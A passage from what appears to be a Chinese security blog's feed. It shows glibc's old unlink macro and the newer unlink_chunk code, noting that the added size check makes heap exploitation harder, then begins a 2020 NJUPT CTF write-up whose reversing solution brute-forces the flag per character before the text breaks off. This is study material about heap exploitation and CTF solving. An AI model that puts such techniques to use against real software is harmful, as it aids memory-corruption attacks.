&lt;p&gt;这是旧版unlink函数，是宏的形式。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;* Take a chunk off a bin list *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;unlink&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;P&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;BK&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;FD&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) { \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;fd; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; BK &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;bk; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(__builtin_expect (FD-&amp;gt;bk &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; BK-&amp;gt;fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)) \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; malloc_printerr (check_action, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;corrupted double-linked list&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;, P); \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;{ \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD-&amp;gt;bk &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; BK; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; BK-&amp;gt;fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;in_smallbin_range (P-&amp;gt;size) \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;__builtin_expect (P-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;)) { \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(P-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P); \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;assert &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(P-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P); \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(FD-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL) { \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(P-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P) \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;{ \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;fd_nextsize; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;bk_nextsize; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; FD; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; } \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; } &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;{ \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;bk_nextsize; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; P-&amp;gt;fd_nextsize; \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; } \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; } \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt; } \
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是新版的unlink新增了presize的检查，利用起来更难了。。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;* Take a chunk off a bin list.  *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;static &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;unlink_chunk &lt;&#x2F;span&gt;&lt;span&gt;(mstate &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;av&lt;&#x2F;span&gt;&lt;span&gt;, mchunkptr &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(chunksize (p) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span&gt;prev_size (next_chunk (p)))
&lt;&#x2F;span&gt;&lt;span&gt;    malloc_printerr (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;corrupted size vs. prev_size&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  mchunkptr fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;fd;
&lt;&#x2F;span&gt;&lt;span&gt;  mchunkptr bk &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;bk;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(__builtin_expect (fd-&amp;gt;bk &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; bk-&amp;gt;fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; p, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    malloc_printerr (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;corrupted double-linked list&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;  fd-&amp;gt;bk &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; bk;
&lt;&#x2F;span&gt;&lt;span&gt;  bk-&amp;gt;fd &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fd;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span&gt;in_smallbin_range (chunksize_nomask (p)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(p-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; p
&lt;&#x2F;span&gt;&lt;span&gt;	  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;||&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span&gt; p)
&lt;&#x2F;span&gt;&lt;span&gt;	malloc_printerr (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;corrupted double-linked list (not small)&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(fd-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;	{
&lt;&#x2F;span&gt;&lt;span&gt;	  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(p-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; p)
&lt;&#x2F;span&gt;&lt;span&gt;	    fd-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fd-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fd;
&lt;&#x2F;span&gt;&lt;span&gt;	  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;	    {
&lt;&#x2F;span&gt;&lt;span&gt;	      fd-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;fd_nextsize;
&lt;&#x2F;span&gt;&lt;span&gt;	      fd-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;bk_nextsize;
&lt;&#x2F;span&gt;&lt;span&gt;	      p-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fd;
&lt;&#x2F;span&gt;&lt;span&gt;	      p-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fd;
&lt;&#x2F;span&gt;&lt;span&gt;	    }
&lt;&#x2F;span&gt;&lt;span&gt;	}
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;	{
&lt;&#x2F;span&gt;&lt;span&gt;	  p-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;bk_nextsize;
&lt;&#x2F;span&gt;&lt;span&gt;	  p-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; p-&amp;gt;fd_nextsize;
&lt;&#x2F;span&gt;&lt;span&gt;	}
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;具体的利用方式去ctf-wiki上去看吧，就不再写一遍了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>2020 NJUPT CTF - zstuCTF WriteUp</title>
        <published>2020-11-21T00:00:00+00:00</published>
        <updated>2020-11-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/njuptctf-2020-wp/"/>
        <id>https://richar.top/njuptctf-2020-wp/</id>
        
        <content type="html" xml:base="https://richar.top/njuptctf-2020-wp/">&lt;h1 id=&quot;re&quot;&gt;Re&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;re1&quot;&gt;re1&lt;&#x2F;h2&gt;
&lt;p&gt;逐字符加密然后比对，只要逐字符爆破即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;njuptctf-2020-wp&#x2F;.&#x2F;re1.png&quot; alt=&quot;re1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;exp:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdio.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;encrypt&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;a1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;a2&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;a1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt; a1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt; a1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;a1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;a1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; a1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt; a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; ~&lt;&#x2F;span&gt;&lt;span&gt;a1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;a2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; a1;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; v2) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;(v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; v2) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;(v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;(v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; v2) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;(v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| ~&lt;&#x2F;span&gt;&lt;span&gt;(v2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span 